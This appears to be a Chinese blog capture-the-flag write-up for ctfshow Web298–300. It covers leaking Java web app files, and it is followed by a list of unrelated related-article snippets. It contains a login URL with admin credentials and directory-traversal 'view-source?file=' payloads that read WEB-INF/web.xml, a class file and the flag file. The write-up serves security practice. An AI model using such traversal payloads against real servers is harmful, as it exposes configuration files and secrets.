ctfshow298-300(java信息泄露,代码审计)
Web298
代码审计

这里看到getVipStatus方法,获得了获取flag的条件就是user等于admin,password等于ctfshow

Poc:
https://d036a90d-ac1c-4de1-9b0b-86f52d2586b9.challenge.ctf.show/ctfshow/login?username=admin&password=ctfshow

Web299
打开页面发现信息泄露

读取:
https://85b72ab2-2d17-4db2-b208-78a05b8ac80a.challenge.ctf.show/view-source?file=WEB-INF/web.xml

https://85b72ab2-2d17-4db2-b208-78a05b8ac80a.challenge.ctf.show/view-source?file=WEB-INF/classes/com/ctfshow/servlet/GetFlag.class

Payload:
/view-source?file=../../../../../../fl3g

Web300
原理同299
payload: ?file=../../../../../f1bg

相关文章:
ctfshow298-300(java信息泄露,代码审计)
Web298 代码审计 这里看到getVipStatus方法,获得了获取flag的条件就是user等于admin,password等于ctfshow Poc: https://d036a90d-ac1c-4de1-9b0b-86f52d2586b9.challenge.ctf.show/ctfshow/login?usernameadmin&passwordctfshow Web299 打开页面…...
Java 基础 and 进阶面试知识点(超详细)
一个 Java 文件中是否可以存在多个类(修饰类除外)? 一个 Java 文件中是可以存在多个类的,但是一个 Java 文件中只能存在一个 public 所修饰的类,而且这个 Java 文件的文件名还必须和 public 所修饰类的类名保持一致&a…...
【LabVIEW作业篇 - 5】:水仙花数、数组与for循环的连接
文章目录 水仙花数数组与for循环的连接 水仙花数 水仙花数,是指一个3位数,它的每个位上的数字的3次幂之和等于它本身。如371 3^3 7^3 1^3,则371是一个水仙花数。 思路:水仙花数是一个三位数,通过使用for循环…...
Kafka系列之如何提高消费者消费速度
前言 在实际开发过程中,如果使用Kafka处理超大数据量(千万级、亿级)的场景,Kafka消费者的消费速度可能决定系统性能瓶颈。 实现方案 为了提高消费者的消费速度,我们可以采取以下措施: 将主题的分区数量增大,如 20&…...
mac安装Whisper
Whisper 官方git https://github.com/openai/whisper?tabreadme-ov-file 基本上参考官方的安装流程 pip3 install -U openai-whisper pip3 install githttps://github.com/openai/whisper.git pip3 install --upgrade --no-deps --force-reinstall githttps://github.com/…...
Linux:进程概述(什么是进程、进程控制块PCB、并发与并行、进程的状态、进程的相关命令)
进程概述 (1)What(什么是进程) 程序:磁盘上的可执行文件,它占用磁盘、是一个静态概念 进程:程序执行之后的状态,占用CPU和内存,是一个动态概念;每一个进程都有一个对应的进程控制块…...
Unity UGUI 之 坐标转换
本文仅作学习笔记与交流,不作任何商业用途 本文包括但不限于unity官方手册,唐老狮,麦扣教程知识,引用会标记,如有不足还请斧正 本文在发布时间选用unity 2022.3.8稳定版本,请注意分别 前置知识:…...
使用 uPlot 在 Vue 中创建交互式图表
本文由ScriptEcho平台提供技术支持 项目地址:传送门 使用 uPlot 在 Vue 中创建交互式图表 应用场景介绍 uPlot 是一个轻量级、高性能的图表库,适用于创建各种交互式图表。它具有丰富的功能,包括可自定义的轴、网格、刻度和交互性。本篇博…...
SpringBoot 项目配置文件注释乱码的问题解决方案
一、问题描述 在项目的配置文件中,我们写了一些注释,如下所示: 但是再次打开注释会变成乱码,如下所示: 那么如何解决呢? 二、解决方案 1. 点击” File→Setting" 2. 搜索“File Encodings”, 将框…...
TTS如何正确读AI缩写、金额和数字
案例:Tell me whats AI(a i), you need pay $186.30, your card Number is 1 2 3, your work Number is 5 6 7 8...
python基础知识点(蓝桥杯python科目个人复习计划75)
第一题:ip补充 题目描述: 小蓝的ip地址为192.168.*.21,其中*是一个数字,请问这个数字最大可能是多少? import os import sys# 请在此输入您的代码 print("255") 第二题:出现最多的字符 题目描…...
小技巧:如何在已知PDF密码情况下去掉PDF的密码保护
第一步,用Edge打开你的pdf,输入密码进去 第二步,点击打印 第三步,选择导出PDF,选择彩印 第四步,选择导出位置,导出成功后打开发现没有密码限制了!...
Java泛型的介绍和基本使用
什么是泛型 泛型就是将类型参数化,比如定义了一个栈,你必须在定义之前声明这个栈中存放的数据的类型,是int也好是double或者其他的引用数据类型也好,定义好了之后这个栈就无法用来存放其他类型的数据。如果这时候我们想要使用这…...
【C++】动态内存管理与模版
目录 1、关键字new: 1、用法: 2、理解: 3、与malloc的相同与不同: 1、相同: 2、不同: 2、模版初阶: 1、函数模版: 1、概念: 2、关键字:template&…...
MongoDB - 组合聚合阶段:$group、$match、$limit、$sort、$skip、$project、$count
文章目录 1. $group2. $group-> $project2.1 $group2.2 $group-> $project2.3 SpringBoot 整合 MongoDB 3. $match-> $group -> $match3.1 $match3.2 $match-> $group3.3 $match-> $group-> $match3.4 SpringBoot 整合 MongoDB 4. $match-> $group->…...
vue element-ui日期控件传参
前端:Vue element-ui <el-form-item label"过期时间" :rules"[ { required: true, message: 请选择过期时间, trigger: blur }]"><el-date-picker v-model"form.expireTime" type"date" format"yyyy-MM-dd&…...
MacOS安装SDKMan管理Java版本
文章目录 1 简介2 安装与卸载2.1 安装2.2 卸载 3 使用3.1 查看其他工具:支持 Ant, Maven 等3.2 查看Java版本3.3 安装Java,加上相关的版本3.4 设置Java版本(全局)3.5 只在当前窗口生效3.6 卸载1 默认环境无法卸载 4 jdk安装的位置5 与IDEA集成参考 1 简介…...
【网络安全的神秘世界】文件包含漏洞
🌝博客主页:泥菩萨 💖专栏:Linux探索之旅 | 网络安全的神秘世界 | 专接本 | 每天学会一个渗透测试工具 一、概述 文件包含:重复使用的函数写在文件里,需要使用某个函数时直接调用此文件,而无需再…...
并发编程--volatile
1.什么是volatile volatile是 轻 量 级 的 synchronized,它在多 处 理器开 发 中保 证 了共享 变 量的 “ 可 见 性 ” 。可 见 性的意思是当一个 线 程 修改一个共享变 量 时 ,另外一个 线 程能 读 到 这 个修改的 值 。如果 volatile 变 量修 饰 符使用…...
记录unraid docker更新的域名
背景:级联 一、安装内容 unraid更新docker,之前一直失败,修改网络后可以进行安装。 二、查看域名 查看域名,发现是走github的,怪不得有一些docker无法正常更新 三、解决方法 更改代理,这里为unraid的…...
【ElevenLabs火车站语音实战指南】:0代码接入、3步定制多语种AI广播,已验证上线率98.7%
更多请点击: https://intelliparadigm.com 第一章:ElevenLabs火车站语音实战指南总览 在高铁枢纽与城市轨道交通系统日益智能化的今天,动态语音播报已成为提升旅客体验的关键环节。ElevenLabs 提供的高保真、低延迟文本转语音(TT…...
CircuitPython REPL与库管理:嵌入式开发交互调试与项目部署实战
1. CircuitPython REPL:嵌入式开发的交互式利器在嵌入式开发的世界里,传统的“编写-编译-烧录-调试”循环常常令人望而生畏,尤其是当你只是想快速验证一个传感器读数,或者测试某个引脚的电平状态时。CircuitPython 带来的 REPL 环…...
从零到一:在RK3588 Ubuntu系统上搭建完整的RKNN开发与部署环境
1. 环境准备:从零开始配置RK3588开发板 拿到一块全新的RK3588开发板时,第一件事就是确保基础系统就绪。我建议使用Ubuntu 20.04.5 LTS版本,这个版本经过Rockchip官方充分验证,稳定性有保障。记得先连接好电源和网线,通…...
26-cv-785 便携式多功能检测仪器专利维权!
案号:26-cv-785原告品牌:便携式多功能检测仪器品牌方:ZHIHUI CAO起诉地:美国宾夕法尼亚州代理律所:Aptum Law起诉时间:2026年05月04日起诉类型:专利侵权本次案件涉及的专利如下:湖北…...
CISP认证报考必看:从考完到出分、查证、续证一文说清
今天,这篇主要关于CISP出成绩、查成绩和有效期的干货,今天结合官方规则和常见情况说清楚,省得大家瞎等。一、CISP是什么?报考条件如何?在深入流程之前,先简单说下CISP的定位。CISP由中国信息安全测评中心&a…...
Acepe:下一代AI驱动的开发者环境,实现多代理协同与可控编程
1. 项目概述:下一代AI驱动的开发者环境如果你和我一样,在过去一年里尝试过各种AI编程助手,从Copilot的代码补全到Cursor的聊天式编程,再到Claude Code的深度分析,你可能会发现一个共同的痛点:这些工具虽然强…...
基于MCP协议构建本地AI工具集成平台:asc-mcp部署与实战指南
1. 项目概述与核心价值最近在折腾AI应用开发,特别是想给本地的大语言模型(比如Claude Desktop、Cursor这类工具)增加点“超能力”,让它们能直接读取我电脑里的文件、调用我本地的工具。这听起来像是Agent或者RAG的活儿,…...
Refly开源AI智能体技能构建器:从Vibe到Skill的生产级实践
1. 项目概述:从“感觉”到“技能”,重新定义AI智能体开发如果你在过去一年里尝试过构建一个真正能在生产环境中稳定运行的AI智能体,大概率会和我有同样的感受:兴奋开始,混乱进行,最终陷入维护的泥潭。问题往…...
别再发.enl文件了!用EndNote X9的Compressed Library(.enlx)一键打包文献库,老板的旧版X8也能秒开
科研协作新姿势:EndNote文献库跨版本兼容全攻略 实验室里的小张刚把整理好的300篇参考文献库发给导师,第二天就被叫去办公室:"你这文件我打不开啊!"导师皱着眉头指着屏幕上EndNote X8的报错窗口。这种场景在科研协作中屡…...
从草图到精确模型:CAD_Sketcher如何重新定义Blender参数化设计工作流
从草图到精确模型:CAD_Sketcher如何重新定义Blender参数化设计工作流 【免费下载链接】CAD_Sketcher Constraint-based geometry sketcher for blender 项目地址: https://gitcode.com/gh_mirrors/ca/CAD_Sketcher 想象一下这样的场景:你正在Blen…...
